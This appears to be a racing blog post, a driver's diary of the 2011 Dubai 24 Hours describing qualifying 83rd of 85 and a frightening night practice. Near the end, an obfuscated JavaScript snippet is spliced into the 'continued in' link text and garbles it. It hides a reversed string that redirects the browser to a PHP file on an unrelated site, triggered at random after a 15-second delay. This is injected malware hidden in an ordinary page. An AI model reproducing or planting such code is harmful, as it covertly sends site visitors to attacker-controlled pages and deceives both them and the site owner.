Dubai 24Hrs 2011. Driver Diary. The 24hr Rollercoaster, Part One

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15:00: Qualification

Paul (above) sets our best quali time, though a 2min 38sec won’t trouble our D1 competitors.  We’re 83rd on the grid out of 85 starters.  This doesn’t bode well.  Despite a smattering of trophies from the national championships, and the knowledge of our home circuit, we’re unused to seeing ourselves at the back of the grid.

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18:00: Night practice

If I thought being the slowest car on the grid was challenging during the day, then night driving is something else. The arrival of the quicker supercars is announced by the rapid flashing of their strobe lights from a distance away.  As each car passes, the little Beemer is savaged and left swaying in their wake.  I grip the wheel in terror.

Continued in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20119308/the-24hr-rollercoaster-driver-diary-24hrs-of-dubai-pt-2/” target=”_self”>Part 2 – Race Day. The full story appeared in the February 2011 issue of EVO Middle East magazine.

Categories: Race

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